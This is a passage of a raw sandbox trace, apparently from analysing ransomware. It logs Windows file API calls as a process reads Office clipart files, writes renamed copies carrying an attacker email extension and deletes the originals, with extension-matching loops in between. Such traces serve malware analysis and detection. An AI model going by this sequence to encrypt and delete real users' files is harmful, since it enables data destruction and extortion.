Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0168.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0168.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0168.024] lstrlenW (lpString=".doc") returned 4 [0168.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.024] lstrlenW (lpString=".docx") returned 5 [0168.024] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.024] lstrlenW (lpString=".pdf") returned 4 [0168.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.024] lstrlenW (lpString=".xls") returned 4 [0168.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.025] lstrlenW (lpString=".xlsx") returned 5 [0168.025] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.025] lstrlenW (lpString=".ppt") returned 4 [0168.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0168.025] lstrlenW (lpString=".zip") returned 4 [0168.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.025] lstrlenW (lpString=".rar") returned 4 [0168.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.025] lstrlenW (lpString=".bz2") returned 4 [0168.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.025] lstrlenW (lpString=".7z") returned 3 [0168.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0168.025] lstrlenW (lpString=".dbf") returned 4 [0168.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0168.025] lstrlenW (lpString=".1cd") returned 4 [0168.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0168.025] lstrlenW (lpString=".jpg") returned 4 [0168.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0168.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0168.025] lstrlenW (lpString=".doc") returned 4 [0168.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.025] lstrlenW (lpString=".docx") returned 5 [0168.025] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.026] lstrlenW (lpString=".pdf") returned 4 [0168.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.026] lstrlenW (lpString=".xls") returned 4 [0168.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.026] lstrlenW (lpString=".xlsx") returned 5 [0168.026] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.026] lstrlenW (lpString=".ppt") returned 4 [0168.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0168.026] lstrlenW (lpString=".zip") returned 4 [0168.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.026] lstrlenW (lpString=".rar") returned 4 [0168.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.026] lstrlenW (lpString=".bz2") returned 4 [0168.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.026] lstrlenW (lpString=".7z") returned 3 [0168.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0168.026] lstrlenW (lpString=".dbf") returned 4 [0168.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0168.026] lstrlenW (lpString=".1cd") returned 4 [0168.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0168.026] lstrlenW (lpString=".jpg") returned 4 [0168.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.027] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0168.027] lstrlenW (lpString="J0099185.JPG") returned 12 [0168.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0168.035] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3282) returned 1 [0168.035] CloseHandle (hObject=0x474) returned 1 [0168.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220 [0168.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0168.242] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.242] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0168.244] GetLastError () returned 0x0 [0168.244] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0xcd2, lpOverlapped=0x0) returned 1 [0168.478] WriteFile (in: hFile=0x548, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xce0, lpOverlapped=0x0) returned 1 [0168.479] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.479] WriteFile (in: hFile=0x548, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.479] SetEndOfFile (hFile=0x548) returned 1 [0168.480] CloseHandle (hObject=0x548) returned 1 [0168.480] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.480] SetEndOfFile (hFile=0x4dc) returned 1 [0168.483] CloseHandle (hObject=0x4dc) returned 1 [0168.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0168.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0168.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0168.484] lstrlenW (lpString=".doc") returned 4 [0168.484] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.484] lstrlenW (lpString=".docx") returned 5 [0168.484] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0168.485] lstrlenW (lpString=".pdf") returned 4 [0168.485] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.485] lstrlenW (lpString=".xls") returned 4 [0168.485] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.485] lstrlenW (lpString=".xlsx") returned 5 [0168.485] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0168.485] lstrlenW (lpString=".ppt") returned 4 [0168.485] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0168.485] lstrlenW (lpString=".zip") returned 4 [0168.485] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.485] lstrlenW (lpString=".rar") returned 4 [0168.485] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.485] lstrlenW (lpString=".bz2") returned 4 [0168.485] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.485] lstrlenW (lpString=".7z") returned 3 [0168.485] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0168.485] lstrlenW (lpString=".dbf") returned 4 [0168.485] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0168.485] lstrlenW (lpString=".1cd") returned 4 [0168.485] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0168.485] lstrlenW (lpString=".jpg") returned 4 [0168.485] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0168.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0168.485] lstrlenW (lpString=".doc") returned 4 [0168.485] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.485] lstrlenW (lpString=".docx") returned 5 [0168.486] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0168.486] lstrlenW (lpString=".pdf") returned 4 [0168.486] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.486] lstrlenW (lpString=".xls") returned 4 [0168.486] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.486] lstrlenW (lpString=".xlsx") returned 5 [0168.486] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0168.486] lstrlenW (lpString=".ppt") returned 4 [0168.486] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0168.486] lstrlenW (lpString=".zip") returned 4 [0168.486] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.486] lstrlenW (lpString=".rar") returned 4 [0168.486] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.486] lstrlenW (lpString=".bz2") returned 4 [0168.486] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.486] lstrlenW (lpString=".7z") returned 3 [0168.486] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0168.486] lstrlenW (lpString=".dbf") returned 4 [0168.486] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0168.486] lstrlenW (lpString=".1cd") returned 4 [0168.486] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0168.486] lstrlenW (lpString=".jpg") returned 4 [0168.486] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.487] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0168.487] lstrlenW (lpString="J0099194.GIF") returned 12 [0168.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0168.487] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=25265) returned 1 [0168.487] CloseHandle (hObject=0x4dc) returned 1 [0168.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220 [0168.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0168.488] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.488] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0169.417] GetLastError () returned 0x0 [0169.417] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x62b1, lpOverlapped=0x0) returned 1 [0170.315] WriteFile (in: hFile=0x478, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x62c0, lpOverlapped=0x0) returned 1 [0170.317] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.317] WriteFile (in: hFile=0x478, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.317] SetEndOfFile (hFile=0x478) returned 1 [0170.328] CloseHandle (hObject=0x478) returned 1 [0170.328] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.328] SetEndOfFile (hFile=0x4dc) returned 1 [0170.332] CloseHandle (hObject=0x4dc) returned 1 [0170.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0170.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0170.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0170.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0170.338] lstrlenW (lpString=".doc") returned 4 [0170.338] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0170.339] lstrlenW (lpString=".docx") returned 5 [0170.339] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0170.339] lstrlenW (lpString=".pdf") returned 4 [0170.339] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0170.339] lstrlenW (lpString=".xls") returned 4 [0170.339] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0170.339] lstrlenW (lpString=".xlsx") returned 5 [0170.339] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0170.339] lstrlenW (lpString=".ppt") returned 4 [0170.339] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0170.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0170.339] lstrlenW (lpString=".zip") returned 4 [0170.339] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0170.339] lstrlenW (lpString=".rar") returned 4 [0170.339] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0170.339] lstrlenW (lpString=".bz2") returned 4 [0170.339] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0170.339] lstrlenW (lpString=".7z") returned 3 [0170.339] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0170.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0170.339] lstrlenW (lpString=".dbf") returned 4 [0170.339] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0170.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0170.339] lstrlenW (lpString=".1cd") returned 4 [0170.339] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0170.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0170.339] lstrlenW (lpString=".jpg") returned 4 [0170.339] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0170.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0170.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0170.340] lstrlenW (lpString=".doc") returned 4 [0170.340] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0170.340] lstrlenW (lpString=".docx") returned 5 [0170.340] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0170.340] lstrlenW (lpString=".pdf") returned 4 [0170.340] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0170.340] lstrlenW (lpString=".xls") returned 4 [0170.340] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0170.340] lstrlenW (lpString=".xlsx") returned 5 [0170.340] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0170.340] lstrlenW (lpString=".ppt") returned 4 [0170.340] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0170.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0170.340] lstrlenW (lpString=".zip") returned 4 [0170.340] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0170.340] lstrlenW (lpString=".rar") returned 4 [0170.340] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0170.340] lstrlenW (lpString=".bz2") returned 4 [0170.340] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0170.340] lstrlenW (lpString=".7z") returned 3 [0170.340] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0170.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0170.340] lstrlenW (lpString=".dbf") returned 4 [0170.340] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0170.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0170.340] lstrlenW (lpString=".1cd") returned 4 [0170.340] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0170.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0170.340] lstrlenW (lpString=".jpg") returned 4 [0170.340] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0170.341] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0170.341] lstrlenW (lpString="J0099198.GIF") returned 12 [0170.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0170.341] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5259) returned 1 [0170.341] CloseHandle (hObject=0x4dc) returned 1 [0170.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220 [0170.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0170.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0170.343] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.343] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0170.344] GetLastError () returned 0x0 [0170.344] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x148b, lpOverlapped=0x0) returned 1 [0170.408] WriteFile (in: hFile=0x478, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1490, lpOverlapped=0x0) returned 1 [0170.409] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.409] WriteFile (in: hFile=0x478, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.409] SetEndOfFile (hFile=0x478) returned 1 [0170.410] CloseHandle (hObject=0x478) returned 1 [0170.410] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.410] SetEndOfFile (hFile=0x4dc) returned 1 [0170.413] CloseHandle (hObject=0x4dc) returned 1 [0170.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0170.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0170.414] lstrlenW (lpString="C:\\Program 